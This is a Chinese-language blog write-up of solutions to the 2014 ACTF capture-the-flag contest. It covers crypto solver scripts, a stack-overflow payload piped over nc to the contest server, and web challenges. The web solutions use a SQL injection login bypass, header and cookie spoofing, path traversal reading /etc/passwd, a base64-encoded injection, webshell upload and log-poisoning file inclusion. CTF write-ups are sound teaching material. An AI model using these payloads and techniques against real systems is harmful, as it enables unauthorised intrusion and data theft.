ACTF writeup

原创

wangyi_lin 于 2014-05-07 21:58:02 发布 8488 收藏

写在前面：

周末参加了浙大和安恒举办的ACTF，以下是一部分题目的解题思路。

crypto 100

密文：

```
oivqmqgn, yja vibem naarn yi yxbo sqnyab yjqo q zixuea is gaqbn qdi. ykra jqn zira yi baseazy yjqy qeni ko
```

替换密码，先根据字频统计猜测，

如：a--->e

再推出简单词汇

如：kn--->is yja--->the

最后还原出原文

原文：

```
nowadays, the world seems to turn faster than a couple of years ago. time has come to reflect that also in
```

如果你英文不好，或者没有耐心猜测的话，可以试试这个大神编写的脚本。

crypto 200

简单的可逆加密，先根据第一个明文和第一个密文推出key，再根据key还原出第二个密文即可得到key

还原Key：

```
c = ''
t = chr(0)
i = 0
j=0
rs=''
f = open('msg01', 'rb').read()
g = open('msg01.enc', 'rb').read()
sg=''
for x in g:
     sg+=x
for p in f:
        c = (ord(sg[i])-ord(p)-i**i) ^ ord(t)
        c = c & 0xff
        t = p
        i += 1
        rs += chr(c)
        print rs
g.close()
```

还原密文：

```
key='DoNotTryToGuessWhatDoesD3AdCa7ThinkOf'
c = ''
t = chr(0)
i = 0
j=0
rs=""
f = open('msg02.enc', 'rb').read()
for p in f:

        c = int(ord(p)-int(ord(key[i%len(key)])^ord(t))-i**i)
        c = c % 256
        #print str(ord(p))+ "==>" + str(ord(c))
        rs=rs+chr(c)
        #print rs
        t = chr(c)
        i+=1
print rs
```

crypto 400

通过crc暴力还原txt内容，因为每个txt只包含5个字符，所以效率还是可以忍受的。

```
import binascii
crc_num = set([0x2051B76C, 0x54BFFE11, 0xCA2AA4DE, 0x0F92F67F, 0x006AE2AA, 0x2BE19221, 0x6C15A277])
for i in range(32,128):
    for j in range(32,128):
        for k in range(32,128):
            for l in range(32,128):
                for m in range(32,128):
                    txt = chr(i)+chr(j)+chr(k)+chr(l)+chr(m)
                    if int(hex(binascii.crc32(txt)),16) in crc_num:
                        print txt
```

exploit 100

简单的栈溢出，只要把返回地址覆盖为game函数的地址即可。

```
python -c "print 'x5cx85x04x08'*100"|nc 211.149.187.109 2009
```

explot 200

其实这也不是溢出，只要读懂汇编代码，符合几个if判断，把程序引到输出key的地方即可

```
python -c "print 'killPig 111nfeedPig 222neatItn'"|nc 211.149.187.109 2010
```

misc 100

百度贴吧搜索ACTF{即可

misc 300

过滤了printf 和各种括号，可以使用三字母词进行绕过

```
??=define LEFT (
??=define RIGHT )
??=define P p??=??=rintf
main LEFT int argc, char  **argv RIGHT {
    P LEFT * LEFT argv + 1 RIGHT RIGHT;
}
```

misc 400

把图片放大可以看到左上角隐藏的二维码，在官网上找到原图，图片相减即可得到一部分二维码。

写脚本随机生成，残缺的部分。

```
import Image
import random
for n in range(1,100):
    qt = Image.open("gogogo.png")
    pix = qt.load()
    for i in range(21,30):
        for j in range(26,30):
            if random.randint(0,100) < 50:
                pix[i,j] = 0,0,0
    for i in range(26,30):
        for j in range(21,26):
            if random.randint(0,100) < 50:
                pix[i,j] = 0,0,0
    qt.save("test"+str(n)+".png")
```

最后使用Zbar批量识别即可得到flag

web 100

```
hint 1：<!--way = "H4ck_F0r_Fun!GoGoGo!" -->
hint 2：Can you GET the way to flag?
```

构造http://218.2.197.236:2005/index.php?way=H4ck_F0r_Fun!GoGoGo!提交之后得到hint 3

```
hint 3：flag can only access in local machine!
```

构造X-Forwarded-For: 127.0.0.1 即可得到flag

web 200

```
hint 1：FLAG在admin的手里!
```

构造 name:admin pass:' 1=1 -- 得到hint 2

```
hint 2：flag is in ae6032eeeb5cedc1555940983435335b.php(访问得知此为干扰信息)
```

抓包在http头中获取hint 3

```
hint 3：beda47ac34562108ee149767c61cb0ec.php
```

访问获得hint 4

```
hint 4：You find it! But only admin can see the flag...can you see it?
```

构造 Cookie：admin = 1 即可达到flag

web 300

```
hint 1：This doubi web blog layout is provided by ./bc
```

访问http://218.2.197.236:2001/bc/index.html得到一个新的页面，猜测存在漏洞的页面

```
guess 1：http://218.2.197.236:2001/download/doWnlOad.php?uuu=/media/baka.txt
```

猜测敏感目录/etc/passwd中得到hint 2

```
guess 2：http://218.2.197.236:2001/download/doWnlOad.php?uuu=/etc/passwd
hint 2：HINT:x:500:500::/usr/share/ngInx/html:/bin/bash
```

得到网站根目录，包含login.php得到源码，此文件存在命令执行漏洞，通过命令执行找到dbinfo文件，即可得到flag

web 400

```
hint 1：管理员是个很懒的人，他的笔记几乎没有任何废话。
```

通过web 300的漏洞上传一句话可翻到管理员的Note，得到hint 2,3,4,5

```
hint 2：aay给了我旁边机器的一个低权限用户。我实在不擅长linux啊，但是他的一个页面好像有漏洞，好像是hejUbiAn.php。
hint 3：我用这个漏洞给数据库里写了些数据，正好把我传上去的一句话木马地址藏进去，嘿嘿嘿。
hint 4：在那个数据库里记一下那个一句话木马的密码吧，免得忘了，不过直接存密码不太安全呀~那我只存那个妹子的qq，密码是这妹子
hint 5：旁边机器的管理员aay总是不给我root权限，也从不请我们吃饭，早看他不顺眼了。我给他服务器做了个alias关联来欺骗他的rc
```

来到hint 2给出的地址，经过猜测是base64注入

```
guess 1:password=JyBvciAxPTEgLS0g
```

通过base64注入一句话得到hint 3中的shell地址和hint 4中的妹子QQ，人肉可知她叫wangbiyun

得到shell之后翻一下得到flag

```
guess 2：/var/tmp/.pwds
```

web 500

```
hint 1：小陆在某内网换了个架构(原架构是nginx)又搭了一遍web300的站。
```

通过web 300的shell随便试一试找到目标IP

```
guess 1：172.17.1.3
```

通过curl访问之前的页面地址发现文件包含依旧存在

猜测敏感目录/etc/passwd中得到hint 2

```
guess 2：uuu=/etc/passwd
hint 2：boss:x:500:500::/var/www/boss:/bin/bash
```

通过猜测boss目录下的文件，得到hint 3

```
guess 2：uuu=/var/www/boss/index.php
hint 3：fuckti0n.php
```

读取fucktin.php内容，发现本地文件包含漏洞，通过log方式拿到shell，即可获得flag